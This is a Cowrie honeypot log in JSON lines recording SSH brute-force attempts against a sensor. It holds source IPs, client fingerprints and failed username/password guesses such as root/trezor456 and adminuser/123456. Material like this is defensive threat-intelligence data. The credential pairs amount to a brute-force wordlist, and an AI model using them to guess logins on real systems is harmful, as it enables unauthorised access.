{"eventid":"cowrie.login.failed","username":"root","password":"trezor456","message":"login attempt [root/trezor456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:16.036320Z","src_ip":"162.240.75.182","session":"fe2973fa0d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:16.316057Z","src_ip":"192.169.202.129","session":"01ea8855f2d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:17.406473Z","src_ip":"162.240.75.182","session":"fe2973fa0d76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.69.150","src_port":54812,"dst_ip":"10.17.0.5","dst_port":22,"session":"f321e646d0fc","protocol":"ssh","message":"New connection: 138.124.69.150:54812 (10.17.0.5:22) [session: f321e646d0fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:18.686181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:18.690247Z","src_ip":"138.124.69.150","session":"f321e646d0fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:18.820055Z","src_ip":"138.124.69.150","session":"f321e646d0fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ys123456!","message":"login attempt [root/Ys123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:19.374026Z","src_ip":"138.124.69.150","session":"f321e646d0fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:20.527117Z","src_ip":"138.124.69.150","session":"f321e646d0fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":56160,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaaee8fca006","protocol":"ssh","message":"New connection: 85.215.121.209:56160 (10.17.0.5:22) [session: aaaee8fca006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:26.981730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:26.985125Z","src_ip":"85.215.121.209","session":"aaaee8fca006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:27.076402Z","src_ip":"85.215.121.209","session":"aaaee8fca006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crypto123","password":"crypto321","message":"login attempt [crypto123/crypto321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:27.354019Z","src_ip":"85.215.121.209","session":"aaaee8fca006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:28.448658Z","src_ip":"85.215.121.209","session":"aaaee8fca006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2497,"dst_ip":"159.203.135.109","dst_port":22,"session":"47a5379f6c23","protocol":"ssh","message":"New connection: 196.188.93.169:2497 (159.203.135.109:22) [session: 47a5379f6c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:34.133766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:34.137301Z","src_ip":"196.188.93.169","session":"47a5379f6c23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:34.307672Z","src_ip":"196.188.93.169","session":"47a5379f6c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsxCDE#","message":"login attempt [root/zaq12wsxCDE#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:35.025693Z","src_ip":"196.188.93.169","session":"47a5379f6c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:36.202365Z","src_ip":"196.188.93.169","session":"47a5379f6c23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":40684,"dst_ip":"10.17.0.5","dst_port":22,"session":"90e5a8489b27","protocol":"ssh","message":"New connection: 152.200.205.179:40684 (10.17.0.5:22) [session: 90e5a8489b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:36.580519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:36.583715Z","src_ip":"152.200.205.179","session":"90e5a8489b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:36.677580Z","src_ip":"152.200.205.179","session":"90e5a8489b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcv1111","message":"login attempt [root/Zxcv1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:37.089343Z","src_ip":"152.200.205.179","session":"90e5a8489b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"93.3","message":"Connection lost after 93.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:37.221698Z","src_ip":"8.210.75.243","session":"873988660e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.33679699897766,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:38.086362Z","src_ip":"170.64.224.25","session":"b308c23d72c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:38.185723Z","src_ip":"152.200.205.179","session":"90e5a8489b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":60584,"dst_ip":"10.17.0.5","dst_port":22,"session":"17832a6f0a91","protocol":"ssh","message":"New connection: 91.92.40.4:60584 (10.17.0.5:22) [session: 17832a6f0a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:38.693297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:38.697088Z","src_ip":"91.92.40.4","session":"17832a6f0a91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:38.782002Z","src_ip":"91.92.40.4","session":"17832a6f0a91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"pass123","message":"login attempt [git/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:39.027680Z","src_ip":"91.92.40.4","session":"17832a6f0a91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":59468,"dst_ip":"10.17.0.5","dst_port":22,"session":"d62c2a7c895a","protocol":"ssh","message":"New connection: 103.77.242.62:59468 (10.17.0.5:22) [session: d62c2a7c895a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:39.509941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:39.514206Z","src_ip":"103.77.242.62","session":"d62c2a7c895a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:39.751450Z","src_ip":"103.77.242.62","session":"d62c2a7c895a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:40.110217Z","src_ip":"91.92.40.4","session":"17832a6f0a91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09121983","message":"login attempt [root/09121983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:40.463869Z","src_ip":"103.77.242.62","session":"d62c2a7c895a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":49732,"dst_ip":"159.203.135.109","dst_port":22,"session":"58167dd0f3c0","protocol":"ssh","message":"New connection: 91.92.40.13:49732 (159.203.135.109:22) [session: 58167dd0f3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:40.877309Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:40.988499Z","src_ip":"91.92.40.13","session":"58167dd0f3c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:41.703114Z","src_ip":"103.77.242.62","session":"d62c2a7c895a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":47292,"dst_ip":"10.17.0.5","dst_port":22,"session":"1048199f1d90","protocol":"ssh","message":"New connection: 211.106.137.135:47292 (10.17.0.5:22) [session: 1048199f1d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:43.562208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:43.566532Z","src_ip":"211.106.137.135","session":"1048199f1d90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:43.773806Z","src_ip":"211.106.137.135","session":"1048199f1d90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"zaq1@WSX","message":"login attempt [test/zaq1@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:44.639995Z","src_ip":"211.106.137.135","session":"1048199f1d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:45.846410Z","src_ip":"211.106.137.135","session":"1048199f1d90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":37908,"dst_ip":"159.203.135.109","dst_port":22,"session":"afdc93f05167","protocol":"ssh","message":"New connection: 68.207.224.247:37908 (159.203.135.109:22) [session: afdc93f05167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:46.084362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:46.088024Z","src_ip":"68.207.224.247","session":"afdc93f05167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:46.127310Z","src_ip":"68.207.224.247","session":"afdc93f05167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:38:46.319262Z","src_ip":"68.207.224.247","session":"afdc93f05167","protocol":"ssh"}
